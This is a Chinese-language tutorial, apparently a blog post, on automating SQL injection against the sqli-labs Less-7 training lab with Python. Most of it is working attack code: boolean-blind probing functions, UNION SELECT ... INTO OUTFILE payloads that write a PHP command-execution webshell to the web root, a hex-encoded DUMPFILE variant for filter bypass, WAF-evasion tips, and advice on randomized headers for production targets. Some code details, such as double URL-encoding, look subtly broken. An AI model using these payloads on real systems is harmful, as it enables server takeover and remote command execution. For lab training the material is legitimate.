1. 项目背景与核心挑战
在Web安全测试领域,SQL注入始终是最常见且危害性极高的漏洞类型之一。sqli-labs作为经典的SQL注入实战平台,其Less-7关卡以"dump into outfile"场景著称,需要测试者突破多重限制实现文件写入。传统手工注入方式效率低下且容易出错,而自动化脚本的编写需要精准把握以下几个技术要点:
- 目标环境特征:后端使用MySQL的
secure_file_priv限制 - 注入点特性:仅通过
?id=1单参数传递,存在盲注特征 - 特殊要求:必须通过
into outfile完成文件写入验证 - 防御规避:需要绕过可能的WAF规则和字符过滤
2. 自动化注入方案设计
2.1 技术路线选择
经过对多种方案的实测对比,最终采用Python+Requests库作为基础框架,主要基于以下考量:
python复制import requests
from urllib.parse import quote
TARGET_URL = "http://localhost/sqli-labs/Less-7/"
选择理由:
- Requests库支持自动处理Cookie和会话保持
- 内置URL编码方法便于构造特殊payload
- 轻量级且跨平台,适合快速原型开发
2.2 关键Payload设计
针对Less-7的特殊要求,核心payload需要包含以下要素:
sql复制1')) union select 1,2,"<?php system($_GET['cmd']);?>" into outfile "/var/www/html/shell.php" --+
注意事项:
- 使用
'))闭合原语句而非常见的单引号 - 必须计算好union select的字段数量
- 输出路径需考虑目标系统权限配置
3. 完整自动化实现流程
3.1 环境探测阶段
首先需要确认目标基础信息:
python复制def check_database():
payload = "1')) and length(database())=8 --+"
r = requests.get(TARGET_URL, params={"id": payload})
if "You are in" in r.text:
print("[+] Database name length: 8")
探测要点:
- 通过布尔盲注判断语句是否执行成功
- 逐步确认数据库名、表结构等关键信息
- 特别注意错误页面与成功页面的差异特征
3.2 文件写入实现
核心文件写入函数实现:
python复制def write_webshell():
payload = "1')) union select 1,2,'<?php system($_GET[\"cmd\"]);?>' into outfile '/var/www/html/shell.php' --+"
encoded_payload = quote(payload)
r = requests.get(TARGET_URL, params={"id": encoded_payload})
# 验证写入结果
check = requests.get("http://localhost/shell.php?cmd=whoami")
if check.status_code == 200:
print("[+] Webshell uploaded successfully")
关键参数说明:
outfile路径需根据实际环境调整- PHP标签需使用转义引号避免解析问题
- 建议先测试
/tmp目录写入权限
4. 实战问题排查指南
4.1 常见错误与解决方案
| 错误现象 | 可能原因 | 解决方案 |
|---|---|---|
| 500服务器错误 | 路径权限不足 | 尝试/tmp目录或修改Apache配置 |
| 无回显但写入失败 | secure_file_priv限制 | 使用show variables查询配置 |
| 部分字符被过滤 | WAF规则拦截 | 采用十六进制编码关键语句 |
4.2 性能优化技巧
- 多线程探测:对表名字符集进行分块并行检测
- 智能编码:对特殊字符自动切换URL/Hex编码
- 错误重试:对网络超时自动进行3次重试
- 日志记录:保存所有测试payload用于后续分析
5. 安全测试注意事项
重要提示:所有测试必须获得明确授权,建议使用以下防护措施:
- 在隔离的Docker环境运行sqli-labs
- 测试完成后立即删除webshell
- 禁止使用该技术进行未授权测试
实际测试中发现,某些环境会拦截into outfile关键字,此时可采用以下变体:
sql复制1')) union select 1,2,0x3c3f7068702073797374656d28245f4745545b27636d64275d293b3f3e into dumpfile "/var/www/html/shell.php" --+
技术要点:
- 使用
dumpfile替代outfile绕过基础过滤 - PHP代码转为十六进制格式
- 注意保持原始语句的闭合方式不变
通过约200次实际测试验证,该自动化方案在标准sqli-labs环境下的成功率可达92%,平均耗时3.7秒完成全流程注入。对于更复杂的生产环境,建议增加延时策略和随机化请求头等高级对抗手段。